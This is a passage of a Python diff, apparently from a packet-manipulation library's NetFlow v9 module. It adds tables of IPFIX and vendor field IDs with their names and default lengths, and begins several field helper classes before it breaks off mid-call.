326: "digestHashValue", + 327: "hashIPPayloadOffset", + 328: "hashIPPayloadSize", + 329: "hashOutputRangeMin", + 330: "hashOutputRangeMax", + 331: "hashSelectedRangeMin", + 332: "hashSelectedRangeMax", + 333: "hashDigestOutput", + 334: "hashInitialiserValue", + 335: "selectorName", + 336: "upperCILimit", + 337: "lowerCILimit", + 338: "confidenceLevel", + 339: "informationElementDataType", + 340: "informationElementDescription", + 341: "informationElementName", + 342: "informationElementRangeBegin", + 343: "informationElementRangeEnd", + 344: "informationElementSemantics", + 345: "informationElementUnits", + 346: "privateEnterpriseNumber", + 347: "virtualStationInterfaceId", + 348: "virtualStationInterfaceName", + 349: "virtualStationUUID", + 350: "virtualStationName", + 351: "layer2SegmentId", + 352: "layer2OctetDeltaCount", + 353: "layer2OctetTotalCount", + 354: "ingressUnicastPacketTotalCount", + 355: "ingressMulticastPacketTotalCount", + 356: "ingressBroadcastPacketTotalCount", + 357: "egressUnicastPacketTotalCount", + 358: "egressBroadcastPacketTotalCount", + 359: "monitoringIntervalStartMilliSeconds", + 360: "monitoringIntervalEndMilliSeconds", + 361: "portRangeStart", + 362: "portRangeEnd", + 363: "portRangeStepSize", + 364: "portRangeNumPorts", + 365: "staMacAddress", + 366: "staIPv4Address", + 367: "wtpMacAddress", + 368: "ingressInterfaceType", + 369: "egressInterfaceType", + 370: "rtpSequenceNumber", + 371: "userName", + 372: "applicationCategoryName", + 373: "applicationSubCategoryName", + 374: "applicationGroupName", + 375: "originalFlowsPresent", + 376: "originalFlowsInitiated", + 377: "originalFlowsCompleted", + 378: "distinctCountOfSourceIPAddress", + 379: "distinctCountOfDestinationIPAddress", + 380: "distinctCountOfSourceIPv4Address", + 381: "distinctCountOfDestinationIPv4Address", + 382: "distinctCountOfSourceIPv6Address", + 383: "distinctCountOfDestinationIPv6Address", + 384: "valueDistributionMethod", + 385: "rfc3550JitterMilliseconds", + 386: "rfc3550JitterMicroseconds", + 387: "rfc3550JitterNanoseconds", + 388: "dot1qDEI", + 389: "dot1qCustomerDEI", + 390: "flowSelectorAlgorithm", + 391: "flowSelectedOctetDeltaCount", + 392: "flowSelectedPacketDeltaCount", + 393: "flowSelectedFlowDeltaCount", + 394: "selectorIDTotalFlowsObserved", + 395: "selectorIDTotalFlowsSelected", + 396: "samplingFlowInterval", + 397: "samplingFlowSpacing", + 398: "flowSamplingTimeInterval", + 399: "flowSamplingTimeSpacing", + 400: "hashFlowDomain", + 401: "transportOctetDeltaCount", + 402: "transportPacketDeltaCount", + 403: "originalExporterIPv4Address", + 404: "originalExporterIPv6Address", + 405: "originalObservationDomainId", + 406: "intermediateProcessId", + 407: "ignoredDataRecordTotalCount", + 408: "dataLinkFrameType", + 409: "sectionOffset", + 410: "sectionExportedOctets", + 411: "dot1qServiceInstanceTag", + 412: "dot1qServiceInstanceId", + 413: "dot1qServiceInstancePriority", + 414: "dot1qCustomerSourceMacAddress", + 415: "dot1qCustomerDestinationMacAddress", + 416: "deprecated [dup of layer2OctetDeltaCount]", + 417: "postLayer2OctetDeltaCount", + 418: "postMCastLayer2OctetDeltaCount", + 419: "deprecated [dup of layer2OctetTotalCount", + 420: "postLayer2OctetTotalCount", + 421: "postMCastLayer2OctetTotalCount", + 422: "minimumLayer2TotalLength", + 423: "maximumLayer2TotalLength", + 424: "droppedLayer2OctetDeltaCount", + 425: "droppedLayer2OctetTotalCount", + 426: "ignoredLayer2OctetTotalCount", + 427: "notSentLayer2OctetTotalCount", + 428: "layer2OctetDeltaSumOfSquares", + 429: "layer2OctetTotalSumOfSquares", + 430: "layer2FrameDeltaCount", + 431: "layer2FrameTotalCount", + 432: "pseudoWireDestinationIPv4Address", + 433: "ignoredLayer2FrameTotalCount", + 434: "mibObjectValueInteger", + 435: "mibObjectValueOctetString", + 436: "mibObjectValueOID", + 437: "mibObjectValueBits", + 438: "mibObjectValueIPAddress", + 439: "mibObjectValueCounter", + 440: "mibObjectValueGauge", + 441: "mibObjectValueTimeTicks", + 442: "mibObjectValueUnsigned", + 443: "mibObjectValueTable", + 444: "mibObjectValueRow", + 445: "mibObjectIdentifier", + 446: "mibSubIdentifier", + 447: "mibIndexIndicator", + 448: "mibCaptureTimeSemantics", + 449: "mibContextEngineID", + 450: "mibContextName", + 451: "mibObjectName", + 452: "mibObjectDescription", + 453: "mibObjectSyntax", + 454: "mibModuleName", + 455: "mobileIMSI", + 456: "mobileMSISDN", + 457: "httpStatusCode", + 458: "sourceTransportPortsLimit", + 459: "httpRequestMethod", + 460: "httpRequestHost", + 461: "httpRequestTarget", + 462: "httpMessageVersion", + 463: "natInstanceID", + 464: "internalAddressRealm", + 465: "externalAddressRealm", + 466: "natQuotaExceededEvent", + 467: "natThresholdEvent", + 468: "httpUserAgent", + 469: "httpContentType", + 470: "httpReasonPhrase", + 471: "maxSessionEntries", + 472: "maxBIBEntries", + 473: "maxEntriesPerUser", + 474: "maxSubscribers", + 475: "maxFragmentsPendingReassembly", + 476: "addressPoolHighThreshold", + 477: "addressPoolLowThreshold", + 478: "addressPortMappingHighThreshold", + 479: "addressPortMappingLowThreshold", + 480: "addressPortMappingPerUserHighThreshold", + 481: "globalAddressMappingHighThreshold", + + # Ericsson NAT Logging + 24628: "NAT_LOG_FIELD_IDX_CONTEXT_ID", + 24629: "NAT_LOG_FIELD_IDX_CONTEXT_NAME", + 24630: "NAT_LOG_FIELD_IDX_ASSIGN_TS_SEC", + 24631: "NAT_LOG_FIELD_IDX_UNASSIGN_TS_SEC", + 24632: "NAT_LOG_FIELD_IDX_IPV4_INT_ADDR", + 24633: "NAT_LOG_FIELD_IDX_IPV4_EXT_ADDR", + 24634: "NAT_LOG_FIELD_IDX_EXT_PORT_FIRST", + 24635: "NAT_LOG_FIELD_IDX_EXT_PORT_LAST", + # Cisco ASA5500 Series NetFlow + 33000: "INGRESS_ACL_ID", + 33001: "EGRESS_ACL_ID", + 33002: "FW_EXT_EVENT", + # Cisco TrustSec + 34000: "SGT_SOURCE_TAG", + 34001: "SGT_DESTINATION_TAG", + 34002: "SGT_SOURCE_NAME", + 34003: "SGT_DESTINATION_NAME", + # medianet performance monitor + 37000: "PACKETS_DROPPED", + 37003: "BYTE_RATE", + 37004: "APPLICATION_MEDIA_BYTES", + 37006: "APPLICATION_MEDIA_BYTE_RATE", + 37007: "APPLICATION_MEDIA_PACKETS", + 37009: "APPLICATION_MEDIA_PACKET_RATE", + 37011: "APPLICATION_MEDIA_EVENT", + 37012: "MONITOR_EVENT", + 37013: "TIMESTAMP_INTERVAL", + 37014: "TRANSPORT_PACKETS_EXPECTED", + 37016: "TRANSPORT_ROUND_TRIP_TIME", + 37017: "TRANSPORT_EVENT_PACKET_LOSS", + 37019: "TRANSPORT_PACKETS_LOST", + 37021: "TRANSPORT_PACKETS_LOST_RATE", + 37022: "TRANSPORT_RTP_SSRC", + 37023: "TRANSPORT_RTP_JITTER_MEAN", + 37024: "TRANSPORT_RTP_JITTER_MIN", + 37025: "TRANSPORT_RTP_JITTER_MAX", + 37041: "TRANSPORT_RTP_PAYLOAD_TYPE", + 37071: "TRANSPORT_BYTES_OUT_OF_ORDER", + 37074: "TRANSPORT_PACKETS_OUT_OF_ORDER", + 37083: "TRANSPORT_TCP_WINDOWS_SIZE_MIN", + 37084: "TRANSPORT_TCP_WINDOWS_SIZE_MAX", + 37085: "TRANSPORT_TCP_WINDOWS_SIZE_MEAN", + 37086: "TRANSPORT_TCP_MAXIMUM_SEGMENT_SIZE", + # Cisco ASA 5500 + 40000: "AAA_USERNAME", + 40001: "XLATE_SRC_ADDR_IPV4", + 40002: "XLATE_DST_ADDR_IPV4", + 40003: "XLATE_SRC_PORT", + 40004: "XLATE_DST_PORT", + 40005: "FW_EVENT", + # v9 nTop extensions + 80 + NTOP_BASE: "SRC_FRAGMENTS", + 81 + NTOP_BASE: "DST_FRAGMENTS", + 82 + NTOP_BASE: "SRC_TO_DST_MAX_THROUGHPUT", + 83 + NTOP_BASE: "SRC_TO_DST_MIN_THROUGHPUT", + 84 + NTOP_BASE: "SRC_TO_DST_AVG_THROUGHPUT", + 85 + NTOP_BASE: "SRC_TO_SRC_MAX_THROUGHPUT", + 86 + NTOP_BASE: "SRC_TO_SRC_MIN_THROUGHPUT", + 87 + NTOP_BASE: "SRC_TO_SRC_AVG_THROUGHPUT", + 88 + NTOP_BASE: "NUM_PKTS_UP_TO_128_BYTES", + 89 + NTOP_BASE: "NUM_PKTS_128_TO_256_BYTES", + 90 + NTOP_BASE: "NUM_PKTS_256_TO_512_BYTES", + 91 + NTOP_BASE: "NUM_PKTS_512_TO_1024_BYTES", + 92 + NTOP_BASE: "NUM_PKTS_1024_TO_1514_BYTES", + 93 + NTOP_BASE: "NUM_PKTS_OVER_1514_BYTES", + 98 + NTOP_BASE: "CUMULATIVE_ICMP_TYPE", + 101 + NTOP_BASE: "SRC_IP_COUNTRY", + 102 + NTOP_BASE: "SRC_IP_CITY", + 103 + NTOP_BASE: "DST_IP_COUNTRY", + 104 + NTOP_BASE: "DST_IP_CITY", + 105 + NTOP_BASE: "FLOW_PROTO_PORT", + 106 + NTOP_BASE: "UPSTREAM_TUNNEL_ID", + 107 + NTOP_BASE: "LONGEST_FLOW_PKT", + 108 + NTOP_BASE: "SHORTEST_FLOW_PKT", + 109 + NTOP_BASE: "RETRANSMITTED_IN_PKTS", + 110 + NTOP_BASE: "RETRANSMITTED_OUT_PKTS", + 111 + NTOP_BASE: "OOORDER_IN_PKTS", + 112 + NTOP_BASE: "OOORDER_OUT_PKTS", + 113 + NTOP_BASE: "UNTUNNELED_PROTOCOL", + 114 + NTOP_BASE: "UNTUNNELED_IPV4_SRC_ADDR", + 115 + NTOP_BASE: "UNTUNNELED_L4_SRC_PORT", + 116 + NTOP_BASE: "UNTUNNELED_IPV4_DST_ADDR", + 117 + NTOP_BASE: "UNTUNNELED_L4_DST_PORT", + 118 + NTOP_BASE: "L7_PROTO", + 119 + NTOP_BASE: "L7_PROTO_NAME", + 120 + NTOP_BASE: "DOWNSTREAM_TUNNEL_ID", + 121 + NTOP_BASE: "FLOW_USER_NAME", + 122 + NTOP_BASE: "FLOW_SERVER_NAME", + 123 + NTOP_BASE: "CLIENT_NW_LATENCY_MS", + 124 + NTOP_BASE: "SERVER_NW_LATENCY_MS", + 125 + NTOP_BASE: "APPL_LATENCY_MS", + 126 + NTOP_BASE: "PLUGIN_NAME", + 127 + NTOP_BASE: "RETRANSMITTED_IN_BYTES", + 128 + NTOP_BASE: "RETRANSMITTED_OUT_BYTES", + 130 + NTOP_BASE: "SIP_CALL_ID", + 131 + NTOP_BASE: "SIP_CALLING_PARTY", + 132 + NTOP_BASE: "SIP_CALLED_PARTY", + 133 + NTOP_BASE: "SIP_RTP_CODECS", + 134 + NTOP_BASE: "SIP_INVITE_TIME", + 135 + NTOP_BASE: "SIP_TRYING_TIME", + 136 + NTOP_BASE: "SIP_RINGING_TIME", + 137 + NTOP_BASE: "SIP_INVITE_OK_TIME", + 138 + NTOP_BASE: "SIP_INVITE_FAILURE_TIME", + 139 + NTOP_BASE: "SIP_BYE_TIME", + 140 + NTOP_BASE: "SIP_BYE_OK_TIME", + 141 + NTOP_BASE: "SIP_CANCEL_TIME", + 142 + NTOP_BASE: "SIP_CANCEL_OK_TIME", + 143 + NTOP_BASE: "SIP_RTP_IPV4_SRC_ADDR", + 144 + NTOP_BASE: "SIP_RTP_L4_SRC_PORT", + 145 + NTOP_BASE: "SIP_RTP_IPV4_DST_ADDR", + 146 + NTOP_BASE: "SIP_RTP_L4_DST_PORT", + 147 + NTOP_BASE: "SIP_RESPONSE_CODE", + 148 + NTOP_BASE: "SIP_REASON_CAUSE", + 150 + NTOP_BASE: "RTP_FIRST_SEQ", + 151 + NTOP_BASE: "RTP_FIRST_TS", + 152 + NTOP_BASE: "RTP_LAST_SEQ", + 153 + NTOP_BASE: "RTP_LAST_TS", + 154 + NTOP_BASE: "RTP_IN_JITTER", + 155 + NTOP_BASE: "RTP_OUT_JITTER", + 156 + NTOP_BASE: "RTP_IN_PKT_LOST", + 157 + NTOP_BASE: "RTP_OUT_PKT_LOST", + 158 + NTOP_BASE: "RTP_OUT_PAYLOAD_TYPE", + 159 + NTOP_BASE: "RTP_IN_MAX_DELTA", + 160 + NTOP_BASE: "RTP_OUT_MAX_DELTA", + 161 + NTOP_BASE: "RTP_IN_PAYLOAD_TYPE", + 168 + NTOP_BASE: "SRC_PROC_PID", + 169 + NTOP_BASE: "SRC_PROC_NAME", + 180 + NTOP_BASE: "HTTP_URL", + 181 + NTOP_BASE: "HTTP_RET_CODE", + 182 + NTOP_BASE: "HTTP_REFERER", + 183 + NTOP_BASE: "HTTP_UA", + 184 + NTOP_BASE: "HTTP_MIME", + 185 + NTOP_BASE: "SMTP_MAIL_FROM", + 186 + NTOP_BASE: "SMTP_RCPT_TO", + 187 + NTOP_BASE: "HTTP_HOST", + 188 + NTOP_BASE: "SSL_SERVER_NAME", + 189 + NTOP_BASE: "BITTORRENT_HASH", + 195 + NTOP_BASE: "MYSQL_SRV_VERSION", + 196 + NTOP_BASE: "MYSQL_USERNAME", + 197 + NTOP_BASE: "MYSQL_DB", + 198 + NTOP_BASE: "MYSQL_QUERY", + 199 + NTOP_BASE: "MYSQL_RESPONSE", + 200 + NTOP_BASE: "ORACLE_USERNAME", + 201 + NTOP_BASE: "ORACLE_QUERY", + 202 + NTOP_BASE: "ORACLE_RSP_CODE", + 203 + NTOP_BASE: "ORACLE_RSP_STRING", + 204 + NTOP_BASE: "ORACLE_QUERY_DURATION", + 205 + NTOP_BASE: "DNS_QUERY", + 206 + NTOP_BASE: "DNS_QUERY_ID", + 207 + NTOP_BASE: "DNS_QUERY_TYPE", + 208 + NTOP_BASE: "DNS_RET_CODE", + 209 + NTOP_BASE: "DNS_NUM_ANSWERS", + 210 + NTOP_BASE: "POP_USER", + 220 + NTOP_BASE: "GTPV1_REQ_MSG_TYPE", + 221 + NTOP_BASE: "GTPV1_RSP_MSG_TYPE", + 222 + NTOP_BASE: "GTPV1_C2S_TEID_DATA", + 223 + NTOP_BASE: "GTPV1_C2S_TEID_CTRL", + 224 + NTOP_BASE: "GTPV1_S2C_TEID_DATA", + 225 + NTOP_BASE: "GTPV1_S2C_TEID_CTRL", + 226 + NTOP_BASE: "GTPV1_END_USER_IP", + 227 + NTOP_BASE: "GTPV1_END_USER_IMSI", + 228 + NTOP_BASE: "GTPV1_END_USER_MSISDN", + 229 + NTOP_BASE: "GTPV1_END_USER_IMEI", + 230 + NTOP_BASE: "GTPV1_APN_NAME", + 231 + NTOP_BASE: "GTPV1_RAI_MCC", + 232 + NTOP_BASE: "GTPV1_RAI_MNC", + 233 + NTOP_BASE: "GTPV1_ULI_CELL_LAC", + 234 + NTOP_BASE: "GTPV1_ULI_CELL_CI", + 235 + NTOP_BASE: "GTPV1_ULI_SAC", + 236 + NTOP_BASE: "GTPV1_RAT_TYPE", + 240 + NTOP_BASE: "RADIUS_REQ_MSG_TYPE", + 241 + NTOP_BASE: "RADIUS_RSP_MSG_TYPE", + 242 + NTOP_BASE: "RADIUS_USER_NAME", + 243 + NTOP_BASE: "RADIUS_CALLING_STATION_ID", + 244 + NTOP_BASE: "RADIUS_CALLED_STATION_ID", + 245 + NTOP_BASE: "RADIUS_NAS_IP_ADDR", + 246 + NTOP_BASE: "RADIUS_NAS_IDENTIFIER", + 247 + NTOP_BASE: "RADIUS_USER_IMSI", + 248 + NTOP_BASE: "RADIUS_USER_IMEI", + 249 + NTOP_BASE: "RADIUS_FRAMED_IP_ADDR", + 250 + NTOP_BASE: "RADIUS_ACCT_SESSION_ID", + 251 + NTOP_BASE: "RADIUS_ACCT_STATUS_TYPE", + 252 + NTOP_BASE: "RADIUS_ACCT_IN_OCTETS", + 253 + NTOP_BASE: "RADIUS_ACCT_OUT_OCTETS", + 254 + NTOP_BASE: "RADIUS_ACCT_IN_PKTS", + 255 + NTOP_BASE: "RADIUS_ACCT_OUT_PKTS", + 260 + NTOP_BASE: "IMAP_LOGIN", + 270 + NTOP_BASE: "GTPV2_REQ_MSG_TYPE", + 271 + NTOP_BASE: "GTPV2_RSP_MSG_TYPE", + 272 + NTOP_BASE: "GTPV2_C2S_S1U_GTPU_TEID", + 273 + NTOP_BASE: "GTPV2_C2S_S1U_GTPU_IP", + 274 + NTOP_BASE: "GTPV2_S2C_S1U_GTPU_TEID", + 275 + NTOP_BASE: "GTPV2_S2C_S1U_GTPU_IP", + 276 + NTOP_BASE: "GTPV2_END_USER_IMSI", + 277 + NTOP_BASE: "GTPV2_END_USER_MSISDN", + 278 + NTOP_BASE: "GTPV2_APN_NAME", + 279 + NTOP_BASE: "GTPV2_ULI_MCC", + 280 + NTOP_BASE: "GTPV2_ULI_MNC", + 281 + NTOP_BASE: "GTPV2_ULI_CELL_TAC", + 282 + NTOP_BASE: "GTPV2_ULI_CELL_ID", + 283 + NTOP_BASE: "GTPV2_RAT_TYPE", + 284 + NTOP_BASE: "GTPV2_PDN_IP", + 285 + NTOP_BASE: "GTPV2_END_USER_IMEI", + 290 + NTOP_BASE: "SRC_AS_PATH_1", + 291 + NTOP_BASE: "SRC_AS_PATH_2", + 292 + NTOP_BASE: "SRC_AS_PATH_3", + 293 + NTOP_BASE: "SRC_AS_PATH_4", + 294 + NTOP_BASE: "SRC_AS_PATH_5", + 295 + NTOP_BASE: "SRC_AS_PATH_6", + 296 + NTOP_BASE: "SRC_AS_PATH_7", + 297 + NTOP_BASE: "SRC_AS_PATH_8", + 298 + NTOP_BASE: "SRC_AS_PATH_9", + 299 + NTOP_BASE: "SRC_AS_PATH_10", + 300 + NTOP_BASE: "DST_AS_PATH_1", + 301 + NTOP_BASE: "DST_AS_PATH_2", + 302 + NTOP_BASE: "DST_AS_PATH_3", + 303 + NTOP_BASE: "DST_AS_PATH_4", + 304 + NTOP_BASE: "DST_AS_PATH_5", + 305 + NTOP_BASE: "DST_AS_PATH_6", + 306 + NTOP_BASE: "DST_AS_PATH_7", + 307 + NTOP_BASE: "DST_AS_PATH_8", + 308 + NTOP_BASE: "DST_AS_PATH_9", + 309 + NTOP_BASE: "DST_AS_PATH_10", + 320 + NTOP_BASE: "MYSQL_APPL_LATENCY_USEC", + 321 + NTOP_BASE: "GTPV0_REQ_MSG_TYPE", + 322 + NTOP_BASE: "GTPV0_RSP_MSG_TYPE", + 323 + NTOP_BASE: "GTPV0_TID", + 324 + NTOP_BASE: "GTPV0_END_USER_IP", + 325 + NTOP_BASE: "GTPV0_END_USER_MSISDN", + 326 + NTOP_BASE: "GTPV0_APN_NAME", + 327 + NTOP_BASE: "GTPV0_RAI_MCC", + 328 + NTOP_BASE: "GTPV0_RAI_MNC", + 329 + NTOP_BASE: "GTPV0_RAI_CELL_LAC", + 330 + NTOP_BASE: "GTPV0_RAI_CELL_RAC", + 331 + NTOP_BASE: "GTPV0_RESPONSE_CAUSE", + 332 + NTOP_BASE: "GTPV1_RESPONSE_CAUSE", + 333 + NTOP_BASE: "GTPV2_RESPONSE_CAUSE", + 334 + NTOP_BASE: "NUM_PKTS_TTL_5_32", + 335 + NTOP_BASE: "NUM_PKTS_TTL_32_64", + 336 + NTOP_BASE: "NUM_PKTS_TTL_64_96", + 337 + NTOP_BASE: "NUM_PKTS_TTL_96_128", + 338 + NTOP_BASE: "NUM_PKTS_TTL_128_160", + 339 + NTOP_BASE: "NUM_PKTS_TTL_160_192", + 340 + NTOP_BASE: "NUM_PKTS_TTL_192_224", + 341 + NTOP_BASE: "NUM_PKTS_TTL_224_255", + 342 + NTOP_BASE: "GTPV1_RAI_LAC", + 343 + NTOP_BASE: "GTPV1_RAI_RAC", + 344 + NTOP_BASE: "GTPV1_ULI_MCC", + 345 + NTOP_BASE: "GTPV1_ULI_MNC", + 346 + NTOP_BASE: "NUM_PKTS_TTL_2_5", + 347 + NTOP_BASE: "NUM_PKTS_TTL_EQ_1", + 348 + NTOP_BASE: "RTP_SIP_CALL_ID", + 349 + NTOP_BASE: "IN_SRC_OSI_SAP", + 350 + NTOP_BASE: "OUT_DST_OSI_SAP", + 351 + NTOP_BASE: "WHOIS_DAS_DOMAIN", + 352 + NTOP_BASE: "DNS_TTL_ANSWER", + 353 + NTOP_BASE: "DHCP_CLIENT_MAC", + 354 + NTOP_BASE: "DHCP_CLIENT_IP", + 355 + NTOP_BASE: "DHCP_CLIENT_NAME", + 356 + NTOP_BASE: "FTP_LOGIN", + 357 + NTOP_BASE: "FTP_PASSWORD", + 358 + NTOP_BASE: "FTP_COMMAND", + 359 + NTOP_BASE: "FTP_COMMAND_RET_CODE", + 360 + NTOP_BASE: "HTTP_METHOD", + 361 + NTOP_BASE: "HTTP_SITE", + 362 + NTOP_BASE: "SIP_C_IP", + 363 + NTOP_BASE: "SIP_CALL_STATE", + 364 + NTOP_BASE: "EPP_REGISTRAR_NAME", + 365 + NTOP_BASE: "EPP_CMD", + 366 + NTOP_BASE: "EPP_CMD_ARGS", + 367 + NTOP_BASE: "EPP_RSP_CODE", + 368 + NTOP_BASE: "EPP_REASON_STR", + 369 + NTOP_BASE: "EPP_SERVER_NAME", + 370 + NTOP_BASE: "RTP_IN_MOS", + 371 + NTOP_BASE: "RTP_IN_R_FACTOR", + 372 + NTOP_BASE: "SRC_PROC_USER_NAME", + 373 + NTOP_BASE: "SRC_FATHER_PROC_PID", + 374 + NTOP_BASE: "SRC_FATHER_PROC_NAME", + 375 + NTOP_BASE: "DST_PROC_PID", + 376 + NTOP_BASE: "DST_PROC_NAME", + 377 + NTOP_BASE: "DST_PROC_USER_NAME", + 378 + NTOP_BASE: "DST_FATHER_PROC_PID", + 379 + NTOP_BASE: "DST_FATHER_PROC_NAME", + 380 + NTOP_BASE: "RTP_RTT", + 381 + NTOP_BASE: "RTP_IN_TRANSIT", + 382 + NTOP_BASE: "RTP_OUT_TRANSIT", + 383 + NTOP_BASE: "SRC_PROC_ACTUAL_MEMORY", + 384 + NTOP_BASE: "SRC_PROC_PEAK_MEMORY", + 385 + NTOP_BASE: "SRC_PROC_AVERAGE_CPU_LOAD", + 386 + NTOP_BASE: "SRC_PROC_NUM_PAGE_FAULTS", + 387 + NTOP_BASE: "DST_PROC_ACTUAL_MEMORY", + 388 + NTOP_BASE: "DST_PROC_PEAK_MEMORY", + 389 + NTOP_BASE: "DST_PROC_AVERAGE_CPU_LOAD", + 390 + NTOP_BASE: "DST_PROC_NUM_PAGE_FAULTS", + 391 + NTOP_BASE: "DURATION_IN", + 392 + NTOP_BASE: "DURATION_OUT", + 393 + NTOP_BASE: "SRC_PROC_PCTG_IOWAIT", + 394 + NTOP_BASE: "DST_PROC_PCTG_IOWAIT", + 395 + NTOP_BASE: "RTP_DTMF_TONES", + 396 + NTOP_BASE: "UNTUNNELED_IPV6_SRC_ADDR", + 397 + NTOP_BASE: "UNTUNNELED_IPV6_DST_ADDR", + 398 + NTOP_BASE: "DNS_RESPONSE", + 399 + NTOP_BASE: "DIAMETER_REQ_MSG_TYPE", + 400 + NTOP_BASE: "DIAMETER_RSP_MSG_TYPE", + 401 + NTOP_BASE: "DIAMETER_REQ_ORIGIN_HOST", + 402 + NTOP_BASE: "DIAMETER_RSP_ORIGIN_HOST", + 403 + NTOP_BASE: "DIAMETER_REQ_USER_NAME", + 404 + NTOP_BASE: "DIAMETER_RSP_RESULT_CODE", + 405 + NTOP_BASE: "DIAMETER_EXP_RES_VENDOR_ID", + 406 + NTOP_BASE: "DIAMETER_EXP_RES_RESULT_CODE", + 407 + NTOP_BASE: "S1AP_ENB_UE_S1AP_ID", + 408 + NTOP_BASE: "S1AP_MME_UE_S1AP_ID", + 409 + NTOP_BASE: "S1AP_MSG_EMM_TYPE_MME_TO_ENB", + 410 + NTOP_BASE: "S1AP_MSG_ESM_TYPE_MME_TO_ENB", + 411 + NTOP_BASE: "S1AP_MSG_EMM_TYPE_ENB_TO_MME", + 412 + NTOP_BASE: "S1AP_MSG_ESM_TYPE_ENB_TO_MME", + 413 + NTOP_BASE: "S1AP_CAUSE_ENB_TO_MME", + 414 + NTOP_BASE: "S1AP_DETAILED_CAUSE_ENB_TO_MME", + 415 + NTOP_BASE: "TCP_WIN_MIN_IN", + 416 + NTOP_BASE: "TCP_WIN_MAX_IN", + 417 + NTOP_BASE: "TCP_WIN_MSS_IN", + 418 + NTOP_BASE: "TCP_WIN_SCALE_IN", + 419 + NTOP_BASE: "TCP_WIN_MIN_OUT", + 420 + NTOP_BASE: "TCP_WIN_MAX_OUT", + 421 + NTOP_BASE: "TCP_WIN_MSS_OUT", + 422 + NTOP_BASE: "TCP_WIN_SCALE_OUT", + 423 + NTOP_BASE: "DHCP_REMOTE_ID", + 424 + NTOP_BASE: "DHCP_SUBSCRIBER_ID", + 425 + NTOP_BASE: "SRC_PROC_UID", + 426 + NTOP_BASE: "DST_PROC_UID", + 427 + NTOP_BASE: "APPLICATION_NAME", + 428 + NTOP_BASE: "USER_NAME", + 429 + NTOP_BASE: "DHCP_MESSAGE_TYPE", + 430 + NTOP_BASE: "RTP_IN_PKT_DROP", + 431 + NTOP_BASE: "RTP_OUT_PKT_DROP", + 432 + NTOP_BASE: "RTP_OUT_MOS", + 433 + NTOP_BASE: "RTP_OUT_R_FACTOR", + 434 + NTOP_BASE: "RTP_MOS", + 435 + NTOP_BASE: "GTPV2_S5_S8_GTPC_TEID", + 436 + NTOP_BASE: "RTP_R_FACTOR", + 437 + NTOP_BASE: "RTP_SSRC", + 438 + NTOP_BASE: "PAYLOAD_HASH", + 439 + NTOP_BASE: "GTPV2_C2S_S5_S8_GTPU_TEID", + 440 + NTOP_BASE: "GTPV2_S2C_S5_S8_GTPU_TEID", + 441 + NTOP_BASE: "GTPV2_C2S_S5_S8_GTPU_IP", + 442 + NTOP_BASE: "GTPV2_S2C_S5_S8_GTPU_IP", + 443 + NTOP_BASE: "SRC_AS_MAP", + 444 + NTOP_BASE: "DST_AS_MAP", + 445 + NTOP_BASE: "DIAMETER_HOP_BY_HOP_ID", + 446 + NTOP_BASE: "UPSTREAM_SESSION_ID", + 447 + NTOP_BASE: "DOWNSTREAM_SESSION_ID", + 448 + NTOP_BASE: "SRC_IP_LONG", + 449 + NTOP_BASE: "SRC_IP_LAT", + 450 + NTOP_BASE: "DST_IP_LONG", + 451 + NTOP_BASE: "DST_IP_LAT", + 452 + NTOP_BASE: "DIAMETER_CLR_CANCEL_TYPE", + 453 + NTOP_BASE: "DIAMETER_CLR_FLAGS", + 454 + NTOP_BASE: "GTPV2_C2S_S5_S8_GTPC_IP", + 455 + NTOP_BASE: "GTPV2_S2C_S5_S8_GTPC_IP", + 456 + NTOP_BASE: "GTPV2_C2S_S5_S8_SGW_GTPU_TEID", + 457 + NTOP_BASE: "GTPV2_S2C_S5_S8_SGW_GTPU_TEID", + 458 + NTOP_BASE: "GTPV2_C2S_S5_S8_SGW_GTPU_IP", + 459 + NTOP_BASE: "GTPV2_S2C_S5_S8_SGW_GTPU_IP", + 460 + NTOP_BASE: "HTTP_X_FORWARDED_FOR", + 461 + NTOP_BASE: "HTTP_VIA", + 462 + NTOP_BASE: "SSDP_HOST", + 463 + NTOP_BASE: "SSDP_USN", + 464 + NTOP_BASE: "NETBIOS_QUERY_NAME", + 465 + NTOP_BASE: "NETBIOS_QUERY_TYPE", + 466 + NTOP_BASE: "NETBIOS_RESPONSE", + 467 + NTOP_BASE: "NETBIOS_QUERY_OS", + 468 + NTOP_BASE: "SSDP_SERVER", + 469 + NTOP_BASE: "SSDP_TYPE", + 470 + NTOP_BASE: "SSDP_METHOD", + 471 + NTOP_BASE: "NPROBE_IPV4_ADDRESS", +} + +ScopeFieldTypes = { + 1: "System", + 2: "Interface", + 3: "Line card", + 4: "Cache", + 5: "Template", +} + +NetflowV9TemplateFieldDefaultLengths = { + 1: 4, + 2: 4, + 3: 4, + 4: 1, + 5: 1, + 6: 1, + 7: 2, + 8: 4, + 9: 1, + 10: 2, + 11: 2, + 12: 4, + 13: 1, + 14: 2, + 15: 4, + 16: 2, + 17: 2, + 18: 4, + 19: 4, + 20: 4, + 21: 4, + 22: 4, + 23: 4, + 24: 4, + 27: 16, + 28: 16, + 29: 1, + 30: 1, + 31: 3, + 32: 2, + 33: 1, + 34: 4, + 35: 1, + 36: 2, + 37: 2, + 38: 1, + 39: 1, + 40: 4, + 41: 4, + 42: 4, + 46: 1, + 47: 4, + 48: 4, # from ERRATA + 49: 1, + 50: 4, + 55: 1, + 56: 6, + 57: 6, + 58: 2, + 59: 2, + 60: 1, + 61: 1, + 62: 16, + 63: 16, + 64: 4, + 70: 3, + 71: 3, + 72: 3, + 73: 3, + 74: 3, + 75: 3, + 76: 3, + 77: 3, + 78: 3, + 79: 3, +} + +# NetflowV9 Ready-made fields + + +class ShortOrInt(IntField): + def getfield(self, pkt, x): + if len(x) == 2: + Field.__init__(self, self.name, self.default, fmt="!H") + return Field.getfield(self, pkt, x) + + +class _AdjustableNetflowField(IntField, LongField): + """Fields that can receive a length kwarg, even though they normally can't. + Netflow usage only.""" + def __init__(self, name, default, length): + if length == 4: + IntField.__init__(self, name, default) + return + elif length == 8: + LongField.__init__(self, name, default) + return + LongField.__init__(self, name, default) + + +class N9SecondsIntField(SecondsIntField, _AdjustableNetflowField): + """Defines dateTimeSeconds (without EPOCH: just seconds)""" + def __init__(self, name, default, *args, **kargs): + length = kargs.pop("length", 8) + SecondsIntField.__init__(self, name, default, *args, **kargs) + _AdjustableNetflowField.__init__( + self, name, default, length + ) + + +class N9UTCTimeField(UTCTimeField, _AdjustableNetflowField): + """Defines dateTimeSeconds (EPOCH)""" + def __init__(self, name, default, *args, **kargs): + length = kargs.pop("length", 8) + UTCTimeField.__init__(self, name, default, *args, **kargs) + _AdjustableNetflowField.__init__( 